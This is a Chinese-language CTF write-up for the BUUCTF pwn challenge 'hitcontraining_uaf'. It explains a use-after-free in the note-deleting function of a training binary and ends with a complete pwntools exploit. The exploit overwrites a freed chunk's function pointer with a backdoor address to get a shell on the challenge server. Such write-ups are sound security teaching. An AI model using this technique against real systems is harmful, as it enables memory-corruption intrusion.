[BUUCTF]PWN——hitcontraining_uaf
阅读原文时间:2022年04月27日阅读:1

[BUUCTF]——hitcontraining_uaf

附件

步骤:
例行检查,32位,开启了nx保护

试运行一下程序,非常常见的创建堆块的菜单

32位ida载入分析,shift+f12查看程序里的字符串,发现了/bin/sh,ctrl+x,跟进找到了后面函数,shell_addr=0x8048945

堆的main函数很简单,逻辑很简单,也没什么好说的,直接看菜单的各个选项

add,可以发现创建了两个chunk,第一个chunk是默认的,存放puts函数,我们可以控制第二个chunk

add(16,'aaa')
gdb.attach(r)

执行一次add,跟我们ida分析的一样,创建了两个堆块,而且我们修改的是第二个堆块的内容

delete,它只释放掉了堆块里的内容,但是没有将指针置0,存在uaf漏洞

printf

用printf打印一个堆块看一下内容,可以看到打印出了add创建的第二个chunk里的值

add(48,'aaaa')
add(48,'bbbb')
gdb.attach(r)

堆的调试注意一下bk链接的地址
我们首先来调用两次add来创建堆,(实际上创建了4个堆),看一下add的两块堆的情况

释放掉两个来看一下

delete(0)
delete(1)


我们再申请一个8字节的chunk,写入shell_addr,看一下堆块的情况

add(8,p32(shell_addr))


可以看到我们新建的chunk由0x8516048和0x8516010构成,我们现在进行printf的话就会跳转到后门函数,就获取了shell

EXP

from pwn import*

r=remote('node3.buuoj.cn',28237)
#r=process('./hacknote')

def add(size,content):
  r.sendlineafter('choice :','1')
  r.sendlineafter('Note size :',str(size))
  r.sendlineafter('Content :',content)

def delete(idx):
  r.sendlineafter('choice :','2')
  r.sendlineafter('Index :',str(idx))

def printf(idx):
  r.sendlineafter('choice :','3')
  r.sendlineafter('Index :',str(idx))

shell_addr=0x8048945

add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(r)
delete(0)
delete(1)
add(8,p32(shell_addr))
printf(0)

r.interactive()